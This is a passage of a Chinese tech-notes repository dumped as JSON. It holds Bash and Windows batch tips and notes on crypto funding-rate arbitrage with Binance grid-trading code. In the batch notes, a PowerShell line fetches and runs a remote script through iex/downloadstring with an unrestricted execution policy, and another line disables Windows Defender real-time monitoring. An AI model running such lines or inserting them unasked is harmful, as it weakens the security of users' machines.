[
  {
    "path": ".gitignore",
    "content": "venv/\r\n*.status\r\ndocs/sitemap.xml.gz\r\nGemfile.lock\r\n.jekyll-metadata\r\nconfig.py\r\n__pycache__\r\n*.pyc\r\nmdfiles\r\n"
  },
  {
    "path": ".nojekyll",
    "content": ""
  },
  {
    "path": "BASH.md",
    "content": "# BASH\r\n\r\n\r\n## 在bash脚本中使用alias\r\n\r\n@TAG alias\r\n\r\n加上这么一句：\r\n\r\n```\r\nshopt -s expand_aliases\r\n```\r\n\r\n## 判断命令行参数是否为空\r\n\r\n在python里可以用len(sys.argv)判断参数个数，bash里用中括号里的-z\r\n\r\n```\r\nif [ -z \"$1\" ] && [ -z \"$2\" ]; then\r\n    echo \"Usage: $0 <parameter1> <parameter2>\"\r\nfi\r\n```\r\n\r\n## for循环用seq生成数字列表\r\n\r\n@TAG seq\r\n\r\n注意终点是包含在内的，不同于Python的range\r\n\r\n- `seq 3`: 1 2 3\r\n- `seq 2 3`: 2 3\r\n- `seq 1 2 5`: 1 3 5\r\n\r\n```\r\nfor i in $(seq 1 $END); do echo $i; done\r\n```\r\n\r\n## BASH做不同进制间数学计算\r\n\r\n不需要bc也可以直接做计算，例如计算5+0xa+0b1010\r\n\r\n```\r\necho $((5+16#a+2#1010))\r\n```\r\n\r\n## 判断命令不存在再apt安装\r\n\r\n```\r\ncommand -v aria2c >/dev/null 2>&1 || { apt update && apt install -y aria2; }\r\n```\r\n\r\n如果有多个软件可能要安装，没必要每次都apt update，可以先装了再说 失败就apt update\r\n\r\n```\r\ncommand -v 7z >/dev/null 2>&1 || { apt-get install -y p7zip; }\r\ncommand -v 7z >/dev/null 2>&1 || { apt update;  apt-get install -y p7zip; }\r\n```\r\n\r\n## 判断文件不存在\r\n\r\n注意`]`前面要有空格\r\n\r\n```\r\nif [ ! -f \"somefile\" ]; then\r\n    curl ...\r\nfi\r\n```\r\n\r\n----\r\n\r\n## sort排序\r\n\r\n逆序 -r\r\n按版本排序 排序IP地址 -V\r\n按数字排序 -n\r\n按人类理解的文件大小排序 -h\r\n指定某些列来排序 -k 3,3 -k 4,4 指定分隔符用-t '.'\r\n\r\n参考： https://www.madboa.com/geek/sort-addr/\r\n\r\n----\r\n\r\n## rsync移动远程目录特定文件至本机后循环操作\r\n\r\nrsync有`--dry-run`参数确认没出错后再操作\r\n\r\n```\r\nrsync -P --remove-source-files -avz '1.2.3.4:/root/dockerimages/*.tar.7z' ./\r\n\r\nfor filename in *.tar.7z; do \r\n    7z x -so $filename | docker load; \r\n    mv $filename ./done/; \r\ndone\r\n```\r\n\r\n"
  },
  {
    "path": "BAT.md",
    "content": "# BAT 批处理\r\n\r\n也包含一些Windows命令行工具\r\n\r\n## 快速打开cmd\r\n\r\n还在用Win+R cmd再用pushd命令？\r\n\r\n在资源管理器的地址栏输入cmd回车就能直接进入当前目录\r\n\r\n另外，不如直接[把cmd加入到鼠标右键](/WindowsSoftware/#bash)\r\n\r\n----\r\n\r\n##  并列语句语法\r\n\r\n```\r\n顺序执行 &\r\necho a & echo b \r\n\r\n前者正确才执行 &&\r\n>nul 2>nul ping -n 1 qq.com && echo network ok\r\n\r\n前者错误才执行 ||\r\n>nul 2>nul ping -n 1 qq.com || echo network failure\r\n\r\n```\r\n\r\n----\r\n\r\n## 来一个死循环吧 for\r\n\r\n> 用于结束进程，或者DNS查询看看解析是否生效\r\n\r\n    for /l %i in (1,1,9999999) do ...\r\n\r\n----\r\n\r\n## 结束进程 taskkill\r\n\r\n> 当启动cmd窗口过多的时候，使用taskkill批量关闭\r\n\r\n    taskkill /f /im cmd.exe\r\n    \r\n类似的Linux命令为`killall bash`\r\n    \r\n----\r\n\r\n## 内存整理 free\r\n\r\n> 微软自己出的一个内存整理工具，需要管理员权限\r\n\r\n> 下载：[empty.exe](https://d.py3.io/empty.exe)\r\n\r\n    empty *\r\n\r\n----\r\n\r\n## 睡一会 SleepX\r\n\r\n> 程序需要等待一定时间再继续运行就可以sleepx啦，作者Bill Stewart (bstewart@iname.com)\r\n\r\n> 下载：[SleepX.exe](https://d.py3.io/SleepX.exe)\r\n\r\n    SleepX 10\r\n    \r\n等待5s，如果用户等不及可以按键，此时 not \"%errorlevel%\" == \"0\"\r\n\r\n    SleepX -k 5\r\n    \r\n----\r\n\r\n## 命令行的浏览器 curl\r\n\r\n![cURL](https://curl.haxx.se/logo/curl-logo.svg)\r\n\r\n> 大名鼎鼎的cURL，不必多言；只是它的命令行的运行方式与libcurl用起来差异很大（如比较php的curl用法）\r\n\r\n> 官方：https://curl.haxx.se/\r\n\r\n> 简单入门：http://www.bathome.net/thread-1761-1-1.html\r\n\r\n> **将curl转为python requests** http://curl.trillworks.com/\r\n\r\n[下载7.51 x64版本](https://d.py3.io/curl.exe)\r\n\r\n具体请见单独文档[cURL.md](cURL.md)\r\n\r\n----\r\n\r\n## 判断文件夹存在\r\n\r\n通过判断nul这个特殊文件的存在性（用户并不能创建文件名形如nul的特殊文件）\r\n\r\n```\r\nif exist DIRNAME\\nul echo Yes!\r\n```\r\n\r\n----\r\n\r\n## 创建硬链接mklink或者fsutil hardlink create\r\n\r\nWin7及以上：\r\n\r\n```\r\nmklink /H Link Target\r\n```\r\n\r\n目录还需要/J\r\n```\r\nmklink /H /J Link Target\r\n```\r\n\r\nWinXP只能用：\r\n\r\n```\r\nfsutil hardlink create <new filename> <existing filename>\r\n```\r\n\r\n----\r\n\r\n## 端口转发\r\n\r\n此命令需要管理员权限\r\n\r\n```\r\nnetsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=转发出的端口 connectaddress=转发的源IP地址 connectport=转发的源端口\r\n```\r\n\r\n----\r\n\r\n## 保持RVPN不断开\r\n\r\nrvpn会自动断开，所以写了个脚本判断并自动重连\r\n\r\n[RVPNKeepAlive.bat](code/RVPNKeepAlive.bat)\r\n\r\n其中的知识点：\r\n\r\n1. 判断命令是否成功用if \"%errorlevel%\"==\"0\"，errorlevel这个变量是上一条命令的返回结果（C程序的int main的返回值），一般规定返回0表示没有发生错误\r\n\r\n2. 用ping www.baidu.com和ping -n 2 ip.cn做粗糙的等待延时，其中-n表示ping的次数，默认是4，改小一点就是更短的延时咯\r\n\r\n3. 启动一个GUI的exe，需要用start \"\" example.exe\r\n\r\n----\r\n\r\n## 浙江大学有线vpn静态路由配置脚本\r\n\r\nAuthor: shuishui\r\n\r\n[静态路由设置.bat](code/静态路由设置.bat)\r\n\r\n----\r\n\r\n## 进入休眠\r\n\r\nWin10似乎没有从鼠标进入休眠而不是睡眠的方法，但调用rundll32进入休眠模式还是可以的：\r\n\r\n```\r\nrundll32.exe powrProf.dll,SetSuspendState\r\n```\r\n\r\n----\r\n\r\n## 快速进入系统代理设置\r\n\r\n@TAG 代理\r\n\r\nFrom: https://stackoverflow.com/questions/3648366/is-it-possible-to-launch-ies-proxy-settings-dialog-from-the-command-line\r\n\r\n不用启动`c:\\Program Files\\Internet Explorer\\iexplore.exe`，直接Win+R输入这个就能打开IE的连接设置，方便修改代理：\r\n\r\n```\r\ninetcpl.cpl ,4\r\n```\r\n\r\n----\r\n\r\n## 在普通权限cmd中获得更高权限\r\n\r\n比如下文的修改ip等操作就需要管理员权限。你可以先启动任务管理器，再运行一个管理员权限的cmd；现在有了更加直接的操作\r\n\r\n### 方案1：[elevate](http://code.kliu.org/misc/elevate/)\r\n\r\n下载地址：[http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z](http://code.kliu.org/misc/elevate/elevate-1.3.0-redist.7z)\r\n\r\n特点：有UAC弹窗，会启动一个新窗口\r\n\r\n例子：\r\n\r\n```\r\nREM 启动一个特权的cmd\r\nelevate -k\r\nREM 执行dir并等待结束\r\nelevate -c -w dir\r\n```\r\n\r\n### 方案2：Sudo for Windows – Luke Sampson\r\n\r\n参考：https://helpdeskgeek.com/free-tools-review/5-windows-alternatives-linux-sudo-command/\r\n\r\n在powershell中输入以下命令完成安装：\r\n\r\n```\r\niex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’)\r\n\r\nset-executionpolicy unrestricted -s cu -f\r\n\r\nscoop install sudo\r\n```\r\n\r\n特点：比较慢，仍然有UAC弹窗，不会启动一个新窗口\r\n\r\n----\r\n\r\n## 命令行配置IP\r\n\r\n需要管理员权限，参见上方`在普通权限cmd中获得更高权限`\r\n\r\n参考：https://helpdeskgeek.com/networking/change-ip-address-and-dns-servers-using-the-command-prompt/\r\n\r\n首先使用`netsh interface ip show config`查看适配器的名称，假设需要配置的是`以太网`\r\n\r\n### 配置静态IP和DNS\r\n\r\n```\r\nnetsh interface ip set address name=\"以太网\" static 192.168.1.101 255.255.255.0 192.168.1.1\r\nnetsh interface ip set dns \"以太网\" static 192.168.1.1\r\n```\r\n\r\n### 配置DHCP\r\n\r\n```\r\nnetsh interface ip set address name=\"以太网\" dhcp\r\nnetsh interface ip set dns \"以太网\" dhcp\r\n```\r\n\r\n----\r\n\r\n## 命令行使用VeraCrypt\r\n\r\nVeraCrypt是TrueCrypt代替者，其命令行使用方式： https://www.veracrypt.fr/en/Command%20Line%20Usage.html\r\n\r\n下载Portable版本即可，下载地址：https://www.veracrypt.fr/en/Downloads.html\r\n\r\n### 创建一个加密盘\r\n\r\n不与用户交互所以指定`/q /s`，具体来说/q表示不显示主窗口，/s表示不显示任何交互窗口也不报错，注意使用这两个参数后即使出错也不会有任何提醒\r\n\r\n文件名test.hc，大小100M，密码必须20个字符或以上，加密方式使用最快的Serpent，为了加速挂载过程指定/pim 1\r\n\r\n```\r\n\"VeraCrypt Format.exe\" /create test.hc /password testtesttesttesttest /hash sha512 /encryption serpent /filesystem FAT /size 100M /pim 1 /force /silent\r\n```\r\n\r\n如果不指定/pim来降低迭代次数，挂载时需要耗时十秒以上无法接受，所以牺牲一点安全性来换取性能。关于PIM的文档： https://www.veracrypt.fr/en/Personal%20Iterations%20Multiplier%20(PIM).html\r\n\r\n### 挂载加密盘\r\n\r\n挂载test.hc至Z:盘，需要指定与创建过程相同的/pim\r\n\r\n这个命令会立即返回，但真正挂载可以访问Z盘可能还需要等待数秒\r\n\r\n```\r\nVeraCrypt.exe /quit /silent /volume test.hc /password testtesttesttesttest /pim 1 /l z\r\n```\r\n\r\n### 卸载已经挂载的加密盘\r\n\r\n```\r\nVeraCrypt.exe /quit /silent /dismount z\r\n```\r\n\r\n----\r\n\r\n## 命令行关闭Windows Defender\r\n\r\n在进行大量IO操作的时候（如拷贝大量小文件），Windows Defender会严重拖慢任务速度\r\n\r\n在管理员权限下powershell可以直接临时关闭Windows Defender的实时防护\r\n\r\n搭配elevate.exe使用即可在Win+R中快速关闭：\r\n\r\n```\r\nelevate powershell -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"\r\n```\r\n\r\n这个似乎在最新的Windows 2004已经失效\r\n\r\n---------\r\n\r\n## 命令行增加Windows防火墙规则阻断IP\r\n\r\n@TAG 防火墙\r\n\r\n当然需要管理员权限的cmd，能一行搞定何必在繁琐的设置步骤中周旋\r\n\r\n参考 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter\r\n\r\n```\r\nnetsh advfirewall firewall add rule name=\"IP Block\" ^\r\n   dir=in interface=any action=block remoteip=198.51.100.108/32\r\n```\r\n\r\n"
  },
  {
    "path": "Bitcoin.md",
    "content": "# Bitcoin\r\n\r\n<script>\r\nfunction showwatch1(){\r\n    localStorage.setItem(\"watchtab\",\"showwatch1\");\r\n    tablebodysort(document.querySelector(\"#realtimeprofittbody\"), 6, 1);\r\n    var idx=1;\r\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(function (i){\r\n        var text = i.querySelector(\".headcol\").innerText.trim();\r\n        if(text.startsWith(\"u\")||text.startsWith(\"h\")||idx>10||i.querySelector(\"td:nth-child(2)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(3)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(4)\").textContent.indexOf(\"-\")==0||i.querySelector(\"td:nth-child(5)\").textContent.indexOf(\"-\")==0){\r\n            i.style.display=\"none\";\r\n            return\r\n        }\r\n        i.style.display=\"\";\r\n        idx+=1;\r\n    })\r\n}\r\nfunction showwatch2(){localStorage.setItem(\"watchtab\",\"showwatch2\");return showtrs(['SHIB','XCH','ICP','FIL','KSM','hBNB','hLTC','hBTCDOM'])}\r\nfunction showwatch3(){localStorage.setItem(\"watchtab\",\"showwatch3\");return showtrs(['KSM','ANT','SHIB','XCH','BSV','DOGE'])}\r\nfunction showwatch4(){localStorage.setItem(\"watchtab\",\"showwatch4\");return showtrs(['KSM','FIL','XCH'])}\r\nfunction showwatch_huobi(){localStorage.setItem(\"watchtab\",\"showwatch_huobi\");document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(function(i){\r\n    var c = i.querySelector(\".headcol\").innerText.trim()[0]\r\n    i.style.display=(c==c.toLowerCase()?\"none\":\"\")\r\n})}\r\nfunction showwatch_huobiu(){localStorage.setItem(\"watchtab\",\"showwatch_huobiu\");return show_prefix(\"u\")}\r\nfunction showwatch_binance(){localStorage.setItem(\"watchtab\",\"showwatch_binance\");return show_prefix(\"b\")}\r\nfunction showwatch_binanceu(){localStorage.setItem(\"watchtab\",\"showwatch_binanceu\");return show_prefix(\"h\")}\r\nfunction showwatch_okex(){localStorage.setItem(\"watchtab\",\"showwatch_okexu\");return show_prefix(\"o\")}\r\n</script>\r\n\r\n我也来试水当个被割的韭菜了\r\n\r\n### 套利实时收益率\r\n\r\n以下为实时收益率数据（每天更新一次）：[Code](https://github.com/zjuchenyuan/arbitrage_notification)\r\n\r\n预测收益：下一次结算收益（确定值）+下下次结算收益（预估值，随价差波动），单位为千分之\r\n\r\n昨日收益：最近三次结算的累计收益\r\n\r\n7日年化：最近21次结算平均收益 具体计算见上文**计算收益率**\r\n\r\n<a onclick=\"showfull()\">显示全部</a> <a onclick=\"showwatch1()\">关注1</a> <a onclick=\"showwatch2()\">关注2</a> <a onclick=\"showwatch3()\">关注3</a> <a onclick=\"showwatch4()\">关注4</a> <br>\r\n<a onclick=\"showwatch_huobi()\">火币</a> <a onclick=\"showwatch_huobiu()\">火币u</a> <a onclick=\"showwatch_binance()\">币安</a> <a onclick=\"showwatch_binanceu()\">币安u</a> <a onclick=\"showwatch_okex()\">OKex</a> \r\n\r\nhttps://d.py3.io/btc.html\r\n\r\n## 期货永续合约介绍\r\n\r\n以火币的btc合约为例，交易单位最小是一张100 USD美元（其他币种都是10美元）\r\n\r\n交易都是基于btc担保，挣到的也是btc\r\n\r\n**买入1张看涨 做多**：相当于按照现在的合约价格用100USD买入btc，也就是借到了币，期待比特币价格上涨；承诺未来会卖出btc平仓得到100USD返还，在平仓时如果真的涨了，那时需要卖出的btc就比当时开仓时的数量少，这个差异的部分就是挣到的btc；如果btc价格一直下跌，账户里所有的btc卖出都不够100USD就爆仓了（实际爆仓规则更复杂）\r\n\r\n**卖出1张看跌 做空**：相当于按照现在的合约价格卖出btc手上拿着100USD，也就是借到了美元（然而并不能拿到美元），承诺未来会把这100美元买回btc，如果按预期真的跌了平仓时就能买到更多的btc。注意到买卖这个期货都是基于btc担保的，所以如果不加杠杆做空，就完全等价于卖出持有的btc，不存在爆仓风险，也就是说想真正做空（花人民币赌btc跌）必须上杠杆\r\n\r\n## 永续合约资金费率套利\r\n\r\n这本质上是一个套期保值的操作，是套利，不是高频交易策略，建仓后无需操作，只需要观察是否趋势反转决定平仓时机，例如当七日年化收益为负时平仓卖出\r\n\r\n期货合约的交易价格为啥会与现货(BTC/USDT)相差不大呢？因为存在每8个小时的结算机制，如果合约价格>现货价格，说明多方占优，则多方向空方支付资金费，如0.01%（具体数值与价差相关）。[官方说明](https://huobiglobal.zendesk.com/hc/zh-cn/articles/900000106903)\r\n\r\n套利操作：用usdt买入币种，立刻下空单无杠杆做空相同数量——这样我们一买一卖相当于没有买入，资产净值不受币价波动影响，只是做空收取资金费\r\n\r\n具体操作：先在法币交易用人民币买usdt，然后在币币交易买入10.1usdt的币（多买一点给扣手续费），立刻转入永续合约账户开始1倍做空一张，然后长期持有直到趋势反转（持续支付资金费）。\r\n\r\n不要看账户的收益率，这个单单是做空本身相当于持币的收益率，我们并没有持币，正确的收益计算应该是账户权益（币的数量）*当前币币交易价格，收益的基准比较应该是低风险债券而不是高风险持币\r\n\r\n历史数据查询： [资金费率](https://futures.huobi.com/zh-cn/swap/info/swap_fee/) [结算价格](https://futures.huobi.com/zh-cn/swap/info/settlement/)\r\n\r\n爬取一下历史数据：（看起来ONT套利收益最高，不过上线时间不够长不具有代表性）\r\n\r\n**计算收益率**时不能简单对单次收益率求和，应该考虑币价波动对最后实际收益的影响：假设投入1USD，计算每次结算能收到多少币，累加后按最近一次结算价计算这些币值多少USD，除以结算次数乘以一年的结算次数即为年化收益\r\n\r\n```python\r\nimport requests, os, sys, time\r\nfrom decimal import Decimal\r\nfrom functools import lru_cache\r\n\r\nsess = requests.session()\r\n\r\n@lru_cache()\r\ndef getdata(coin, page=1):\r\n    page = str(page)\r\n    data = [Decimal(i['final_funding_rate']) for i in sess.get(\"https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code=\"+coin+\"-USD&page_index=\"+page+\"&page_size=100\", headers={\"source\":\"web\"}).json()[\"data\"][\"settle_logs\"]]\r\n    settle = [Decimal(i[\"instrument_info\"][0][\"settle_price\"]) for i in sess.get(\"https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol=\"+coin+\"&page_index=\"+page+\"&page_size=100\", headers={\"source\":\"web\"}).json()[\"data\"][\"delivery\"]]\r\n    return data, settle\r\n\r\ndef calc_fullprofit(coin):\r\n    data, settle = [], []\r\n    page = 1\r\n    x = getdata(coin)\r\n    while len(x[0]):\r\n        data.extend(x[0])\r\n        settle.extend(x[1])\r\n        page+=1\r\n        x = getdata(coin, page)\r\n    profit_coin = sum([k/settle[i] for i,k in enumerate(data)])\r\n    profit_usd = profit_coin*settle[0]\r\n    return \"%.2f\"%(profit_usd/len(data)*3*365*100) + \"%\", len(data)\r\n\r\ndata=[]\r\nfor i in \"BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC\".split(\" \"):\r\n    profit, length = calc_fullprofit(i)\r\n    data.append([i, profit, length])\r\ndata.sort(key=lambda i:i[1], reverse=True)\r\nfor i,profit,length in data:\r\n    print(\"\",i, profit, length,\"\", sep=\"|\")\r\n```\r\n\r\n\r\n风险： From [数字币套利简史（下）](https://www.chainnode.com/post/391781)\r\n\r\n>需要注意的是，资金费率的套利更加适合趋势上涨的行情，而且要留意行情的反转导致费率趋势的扭转，可能会套利失效；还有就是对于像18年的趋势下跌行情，虽然套利逻辑一样，但操作会更加复杂，因为这里面要涉及到永续合约+交割合约的组合对冲，占用币数也会翻倍，也就是说同样的币量套利年化收益率要打5折；所以，好好珍惜这来之不易的好行情吧。\r\n\r\n交易期间手速慢或交易不活跃会导致买入现货价格高于做空价格，导致额外的成本损耗；持有期间的最大风险在于美元贬值的风险，例如USDT 7.1买入，最后6.9卖出，即为28.2‰亏损\r\n\r\n另外，如果btc持续上涨，在持仓中看到做空亏了百分之多少还是有点心痛的，这就需要良好的心理素质，套利相比于持币动辄一天10%的波动就挣不到多少钱hhh\r\n\r\n------\r\n\r\n## 套利+网格交易\r\n\r\n上述能被选出的资金费率高的套利币种，往往也是涨幅巨大的币种，可能还不如简单持币赚得更多，于是可以尝试更稳妥网格。网格的一个缺点在于资金利用率低，等着抄底买入的资金是闲置的，自然想到可以把上述资金费率套利结合起来，还没买入的部分就等量做空，优点在于：\r\n\r\n- 还没买入的抄底资金能赚取资金费率，不完全闲置\r\n- 没有usdt暴雷风险，币本位永续合约挂钩的是美元而不是usdt\r\n- 手续费低，火币现货交易千2，币安合约交易maker只有万1.5\r\n\r\n调用币安python sdk自动挂单，代码逻辑是：\r\n获取当前所有的挂单，比对配置的价格数组，找到缺失的价格们。\r\n这些缺失的价格是因为挂单成交导致的，需要补上。\r\n最新成交的那一单价格定为p，p本身是不能补单的（刚突破的网格本身再补上就是白交手续费）。\r\n小于p的缺失价格需要补上buy，大于的补上sell。\r\n\r\n在行情剧烈波动的时候，可能一分钟就会成交多次订单需要及时补单，就遇到了具体编码的挑战：\r\n\r\n### 如何获取最新的成交订单？\r\n\r\n订单号排序？不行，orderId只是按下单时间递增，orderId最大并不一定最近成交\r\n\r\n获取当前最新价格，比较哪个缺失价格离最新价格更近？在行情剧烈波动时不可靠\r\n\r\n获取历史所有订单，按updateTime排序？实测发现这个api有两个问题：\r\n\r\n- 多个订单updateTime相同，无法排序区分\r\n- 数据延迟，最新成交的订单并不一定出现\r\n\r\n解决方案是：\r\n\r\n- 获取最新成交的成交记录，从中提取包含的orderId，再查询订单。不排除这个REST API也存在数据延迟的问题\r\n- 使用websocket\r\n\r\n### 币安Python SDK没有币本位合约接口\r\n\r\n现在代码已经有更新补上了REST API的缺失，但websocket订阅账户变动的代码还是得自己来：\r\n\r\nclient.py里stream_get_listen_key附近加上：\r\n\r\n```\r\n    def futures_stream_get_listen_key(self):\r\n        res = self._request_futures_api(\"post\", \"listenKey\", True, data={})\r\n        return res['listenKey']\r\n```\r\n\r\n调用就这样：\r\n\r\n```\r\n    def start_websocket(self, handle_order):\r\n        def process_message(msg):\r\n            global conn_key\r\n            if msg['e'] not in ['ACCOUNT_UPDATE'] and not (msg['e']=='ORDER_TRADE_UPDATE' and msg['o']['X']=='NEW'):\r\n                myprint(\"message:\", msg['e'], msg)\r\n            if msg['e'] == 'error':\r\n                bm.stop_socket(conn_key)\r\n                bm.close()\r\n                reactor.stop()\r\n                print(\"socket stopped, exit now!\")\r\n                exit()\r\n            elif msg['e']=='ORDER_TRADE_UPDATE':\r\n                o = msg['o']\r\n                if o['X']!='FILLED':\r\n                    return\r\n                order = {\"price\":o['p'], \"orderId\":o['i'], \"side\":o[\"S\"], \"symbol\":o[\"s\"], \"clientOrderId\":o[\"c\"]}\r\n                return handle_order(order)\r\n        \r\n        client = self.client\r\n        client.stream_get_listen_key = client.futures_stream_get_listen_key\r\n        client.FUTURES_URL = client.FUTURES_URL.replace(\"fapi\", \"dapi\")\r\n        bm = BinanceSocketManager(client)\r\n        bm.STREAM_URL = \"wss://dstream.binance.com/\"\r\n        conn_key = bm.start_user_socket(process_message)\r\n        bm.start()\r\n```\r\n\r\n上述代码直接魔改BinanceSocketManager的常数定义来实现对币本位合约API的调用，订阅账户变动消息，只处理ORDER_TRADE_UPDATE中FILLED的订单，调用handle_order函数进行处理\r\n\r\n### 各种异常处理\r\n\r\n**避免重复下单**: 下单时指定包含价格信息的newClientOrderId，重复下单自然会失败，避免相同的订单重复下单`APIError(code=-4015): Client order id is not valid.`，但这个保护只针对还在挂单的订单，相同的clientorderid如果前述订单已经成交，不会阻止新的提交。\r\n\r\n**已经重复下单**：需要比对当前价格与定义好的网格数组，判断当前应该的仓位是多少，然后使用市价单或者额外在相邻网格下单保证仓位的正确性，注意极端行情下自动补仓依据的仓位价值可能有误。例如买入是靠平仓做空实现的，这是种reduceOnly的订单，必须有足够多的做空仓位才能买，否则报错：`APIError(code=-2022): ReduceOnly Order is rejected.`\r\n\r\n已经下的**订单状态变成“已过期”**：这种还是因为已经发生了超买/超卖，保证金不足，官方说明：\r\n\r\n> https://www.binance.com/zh-CN/support/faq/360039707291\r\n\r\n> 保证金审核不过（针对于止盈止损单）：止盈止损单中需要设置触发价和成交价（市价止盈止损单中，可以根据不同需要设置根据标记价格或最新价格触发），系统会进行两次保证金审核，分别在下单前和成交前。订单触发之后，系统会立即进行第二次保证金审核，若当前发生了亏损或划转出了保证金，导致可用保证金不足，此时订单状态会显示已过期。\r\n\r\n**保证金不足**：直接把杠杆倍数变成2可以避免这个问题，即使加杠杆也不会出现强平价格。\r\n\r\n**服务器网络不可靠**：在其他地区的服务器同时跑轮询，即使单个服务器挂掉，也有其他服务器靠轮询补上订单，但注意分布式后日志收集是个新的难点\r\n\r\n**listenKeyExpired**：收到这种类型的消息需要重新连接，也可以主动轮询的时候调用futures_stream_get_listen_key对现有的Listen Key进行刷新\r\n\r\n<script>\r\nfunction myparseFloat(text){\r\n    var res = parseFloat(text);\r\n    if(isNaN(res)) {\r\n        if(text[0]==\"b\"||text[0]==\"h\"||text[0]==\"o\"||text[0]==\"u\") return text.slice(1);\r\n    \t else return text;\r\n    }\r\n    if(text.endsWith(\"亿\")) return res*100000000;\r\n    if(text.endsWith(\"万\")) return res*10000;\r\n    return res;\r\n}\r\nfunction tdsortn(a,b,n){\r\n    if(myparseFloat(a.querySelector(\"td:nth-child(\"+n+\")\").textContent) > myparseFloat(b.querySelector(\"td:nth-child(\"+n+\")\").textContent) ) \r\n        return 1; \r\n    else \r\n        return -1;\r\n}\r\nfunction tablebodysort(tbody, n, order){\r\n    var mylist=Array.prototype.slice.call(tbody.querySelectorAll(\"tr\"), 0);\r\n    var sortList = Array.prototype.sort.bind(mylist);\r\n    tbody.innerHTML=\"\";\r\n    for(var i of sortList(function(a,b){return -order*tdsortn(a,b,n)}))\r\n        tbody.appendChild(i)\r\n}\r\nvar rememerclick={2:1};\r\nfunction tablesort_onclick(e){\r\n    var n = Array.from(e.target.parentElement.children).map((element, index)=>({element,index})).filter(({element})=>element==e.target)[0].index+1\r\n    var tbody = document.querySelector(\"#realtimeprofittbody\");\r\n    var order = rememerclick[n]==1?-1:1;\r\n    tablebodysort(tbody, n, order);\r\n    rememerclick[n] = order;\r\n}\r\nfunction registeronclick(){\r\n    for (var i of Array.prototype.slice.call(document.querySelectorAll(\"#realtimeprofit > table > thead > tr > th\"),0)){\r\n        i.onclick = tablesort_onclick;\r\n        i.style[\"cursor\"]=\"pointer\";\r\n    }\r\n    var tab=localStorage.getItem(\"watchtab\");\r\n    if(tab){eval(tab+\"()\")}\r\n    rememerclick={2:1};\r\n    document.querySelectorAll(\"#realtimeprofittbody>tr>td\").forEach(function(i){if(i.innerText.trim().startsWith(\"-\")){i.style.backgroundColor=\"#c0ff90\"}})\r\n}\r\nfunction triggerrefresh(){    \r\n    fetch(\"https://api.py3.io/trigger_btc_refresh\").then(function(response) {\r\n        if (!response.ok) {\r\n            throw Error(response.statusText);\r\n        }\r\n        return response;\r\n    }).then(function(response) {\r\n        alert(\"更新成功\");\r\n        loadbtctable();\r\n    }).catch(function(error) {\r\n        alert(\"触发更新失败，请稍后再来\")\r\n    });\r\n}\r\nif(/refresh/.test(location.href)) triggerrefresh();\r\nfunction showfull(){\r\n    localStorage.setItem(\"watchtab\",\"showfull\");\r\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=\"\")\r\n}\r\nfunction showtrs(coins){\r\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(\".headcol\").innerText.trim())==-1?\"none\":\"\"))\r\n}\r\nfunction hidetrs(coins){\r\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(\".headcol\").innerText.trim())==-1?\"\":\"none\"))\r\n}\r\nfunction show_prefix(prefix){\r\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(i.querySelector(\".headcol\").innerText.trim().startsWith(prefix)?\"\":\"none\"))\r\n}\r\n</script>\r\n<style>\r\n.md-grid{max-width:69rem;}\r\n.headcol {\r\n  position: sticky;\r\n  position: -webkit-sticky;\r\n  background-color: white;\r\n  width: 3rem;\r\n  min-width: 3rem;\r\n  max-width: 3rem;\r\n  left: 0px;\r\n}\r\nth.headcol {\r\n  background-color: #757575!important;\r\n}\r\n.md-typeset table:not([class]) tr:hover .headcol{\r\n  background-color: #f6f6f6;\r\n}\r\n.md-typeset table:not([class]) th{\r\n  min-width: 4rem;\r\n}\r\n#realtimeprofit > table {\r\n  overflow: visible;\r\n}\r\n\r\n#realtimeprofit > table > thead > tr > th {\r\n  position: sticky;\r\n  top: 2.4rem;\r\n  z-index: 3;\r\n}\r\n</style>\r\n\r\n----------\r\n\r\n## 获取交易所价格信息\r\n\r\n在统计资产时对价格实时性没有要求，可以缓存60秒；用法：`print(HUOBI_Price.btc)`，返回的是字符串类型\r\n\r\n```\r\nclass class_CEXPRICE():\r\n    def __init__(self):\r\n        self.updatetime = -1\r\n    def __getattr__(self, token):\r\n        if time.time()-self.updatetime>=60:\r\n            print(\"fetch\", self, end=\"\", flush=True)\r\n            self.data = self.fetchprice()\r\n            print()\r\n            self.updatetime = time.time()\r\n        return self.handleprice(token)\r\n\r\nclass class_HUOBI_Price(class_CEXPRICE):\r\n    def fetchprice(self):\r\n        return sess.get(\"https://api.huobi.pro/market/tickers\", timeout=5).json()[\"data\"]\r\n    def handleprice(self, token):\r\n        return [i for i in self.data if i[\"symbol\"]==token.lower()+\"usdt\"][0][\"close\"]\r\nHUOBI_Price=class_HUOBI_Price()\r\n\r\nclass class_BINANCE_Price(class_CEXPRICE):\r\n    def fetchprice(self):\r\n        return sess.get(\"https://api.binance.com/api/v3/ticker/price\", timeout=5).json()\r\n    def handleprice(self, token):\r\n        if \"busd\" not in token.lower():\r\n            token = token.lower()+\"usdt\"\r\n        return [i for i in self.data if i[\"symbol\"]==token.upper()][0][\"price\"]\r\nBINANCE_Price=class_BINANCE_Price()\r\n\r\nclass class_MXC_Price(class_CEXPRICE):\r\n    def fetchprice(self):\r\n        return sess.get(\"https://www.mxc.com/open/api/v2/market/ticker\", timeout=5).json()[\"data\"]\r\n    def handleprice(self, token):\r\n        return [i for i in self.data if i[\"symbol\"]==token.upper()+\"_USDT\"][0][\"last\"]\r\nMXC_Price = 